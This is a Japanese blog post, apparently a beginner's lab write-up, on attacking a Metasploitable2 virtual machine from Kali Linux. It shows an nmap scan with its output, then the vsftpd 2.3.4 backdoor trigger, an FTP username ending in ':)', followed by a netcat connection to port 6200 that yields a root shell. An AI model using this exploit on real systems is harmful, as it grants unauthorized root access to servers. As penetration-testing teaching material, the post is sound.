LoginSignup
3
3

More than 1 year has passed since last update.

VirtualBoxでKali Linuxから仮想マシンにハッキングしてみる~攻撃実践編~[Windows10]

Posted at

はじめに

この記事は後編になります。前編は以下からどうぞ。

前編で環境構築を行いました。この記事ではKaliLinuxでMetasploitable2に攻撃を仕掛けてみます。
といっても知っている方は同じみのvsftpdを使った攻撃ですごめんなさい。

他人や他社のサービス、サーバー等へ許可なしに攻撃を実行した場合は犯罪行為となります。 本記事を参考に他人や他社に害を与えたとしても一切の責任を負いません。

vsftpd 2.3.4の脆弱性を利用したサーバ乗っ取り

2011年にリリースされたvsftpd バージョン2.3.4には、バックドアコードが存在しており、その脆弱性を利用して攻撃を仕掛けることができます。Metasploitable2にはこのvsftpd 2.3.4がインストールされているので、さっそく攻撃してみましょう。

まずはKali Linuxにログインし、ターミナルを起動します。
スクリーンショット 2022-01-06 224402.png

次にターミナルで下記コマンドを実行します。

nmap -sS -A 10.0.0.5

nmapとは、対象のサーバに対してポートスキャンを行うツールです。オプションの-sSはスキャンタイプをTCP SYNスキャンに指定し、-AOS検出とバージョン検出を行うことを指定しています。

$ sudo nmap -sS -A 10.0.0.5
Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-06 08:47 EST
Nmap scan report for 10.0.0.5
Host is up (0.00046s latency).
Not shown: 977 filtered ports
PORT     STATE SERVICE      VERSION
21/tcp   open  ftp          vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.0.0.1
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp   open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp   open  telnet       Linux telnetd
25/tcp   open  smtp         Postfix smtpd
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, 
53/tcp   open  domain       ISC BIND 9.4.2
| dns-nsid: 
|_  bind.version: 9.4.2
80/tcp   open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
|_http-title: Metasploitable2 - Linux
111/tcp  open  rpcbind      2 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2            111/tcp   rpcbind
|   100000  2            111/udp   rpcbind
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/udp   nfs
|   100005  1,2,3      42531/udp   mountd
|   100005  1,2,3      46233/tcp   mountd
|   100021  1,3,4      34376/udp   nlockmgr
|   100021  1,3,4      53805/tcp   nlockmgr
|   100024  1          33855/tcp   status
|_  100024  1          34341/udp   status
139/tcp  open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn  Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
512/tcp  open  exec?
513/tcp  open  login?
514/tcp  open  shell?
1099/tcp open  java-rmi     GNU Classpath grmiregistry
1524/tcp open  bindshell    Metasploitable root shell
2049/tcp open  nfs          2-4 (RPC #100003)
2121/tcp open  ccproxy-ftp?
3306/tcp open  mysql?
|_mysql-info: ERROR: Script execution failed (use -d to debug)
|_ssl-cert: ERROR: Script execution failed (use -d to debug)
|_ssl-date: ERROR: Script execution failed (use -d to debug)
|_sslv2: ERROR: Script execution failed (use -d to debug)
|_tls-alpn: ERROR: Script execution failed (use -d to debug)
|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)
5432/tcp open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Not valid before: 2010-03-17T14:07:45
|_Not valid after:  2010-04-16T14:07:45
|_ssl-date: 2021-11-27T11:51:17+00:00; -40d02h00m41s from scanner time.
5900/tcp open  vnc          VNC (protocol 3.3)
| vnc-info: 
|   Protocol version: 3.3
|   Security types: 
|_    VNC Authentication (2)
6000/tcp open  X11          (access denied)
6667/tcp open  irc          UnrealIRCd
8009/tcp open  ajp13        Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp open  http         Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/5.5
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: bridge|general purpose|switch
Running (JUST GUESSING): Oracle Virtualbox (98%), QEMU (93%), Bay Networks embedded (88%)
OS CPE: cpe:/o:oracle:virtualbox cpe:/a:qemu:qemu cpe:/h:baynetworks:baystack_450
Aggressive OS guesses: Oracle Virtualbox (98%), QEMU user mode network gateway (93%), Bay Networks BayStack 450 switch (software version 3.1.0.22) (88%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: -40d00h20m40s, deviation: 2h53m13s, median: -40d02h00m41s
|_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: metasploitable
|   NetBIOS computer name: 
|   Domain name: localdomain
|   FQDN: metasploitable.localdomain
|_  System time: 2021-11-27T06:49:37-05:00
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)

TRACEROUTE (using port 80/tcp)
HOP RTT     ADDRESS
1   0.22 ms 10.0.2.2
2   0.29 ms 10.0.0.5

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 280.03 seconds

環境の違いにもよると思いますが、私の環境ではスキャン完了までおよそ3分ほどかかりました。
上記実行結果のうち21/tcp openなどと表示されているものが、TCPで接続可能なポート番号になっています(たくさんありますね笑)。

上記実行結果から、攻撃対象サーバにvsftpd 2.3.4が存在することが分かりました。下記の部分です。

PORT     STATE SERVICE      VERSION
21/tcp   open  ftp          vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.0.0.1
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status

続いて、下記コマンドを実行します。

$ ftp 10.0.0.5 

実行後NamePasswordを尋ねられます。
Nameはバックドアを起動させるために必ず最後に:)を付ける必要があるので1234567:)とでもしましょう。
Passwordは入力せずにEnterでOKです。

Connected to 10.0.0.5.
220 (vsFTPd 2.3.4)
Name (10.0.0.5:kali): 1234567:)
331 Please specify the password.
Password:
421 Service not available, remote server has closed connection
Login failed.
No control connection for command: Success
ftp> 
ftp> exit

それぞれ入力すると、421 Service not availableと表示され、ログインは弾かれます。
しかし、この操作により攻撃対象サーバの6200ポートオープンになります。

ここで下記コマンドを実行します。

nc -nv 10.0.0.5 6200 

これにより攻撃対象へのroot権限の乗っ取りが完了しました。一見すると何も変化ないように見えるので、whoamiifconfigを使って現在の権限とIPアドレスを確認します。

$ nc -nv 10.0.0.5 6200                                                                         1 ⚙
(UNKNOWN) [10.0.0.5] 6200 (?) open
whoami
root
ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:43:7c:5d  
          inet addr:10.0.0.5  Bcast:10.0.0.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe43:7c5d/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:13131 errors:0 dropped:0 overruns:0 frame:0
          TX packets:14713 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:1059068 (1.0 MB)  TX bytes:1310394 (1.2 MB)
          Base address:0xd020 Memory:f0200000-f0220000 

上記結果より、root権限でかつIPアドレスが10.0.0.5(=攻撃対象サーバのIPアドレス)になっていることがわかると思います。
これでパスワードの入力無しで自由に攻撃対象サーバを操れるようになりました。

終わりに

実際に攻撃してみて、「あぁ、ハッキングってこんな感じなんだな」としたり顔になりました(本当に簡単なことしかしてませんけど)。
また、同時に脆弱性が発見された場合にできるだけはやく対策することの重要性を肌で感じることができました。
今後もペネトレーションテストの実践練習は続けていき、近いうちにCTFへ挑戦しようと思います!

参考記事

3
3
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
3
3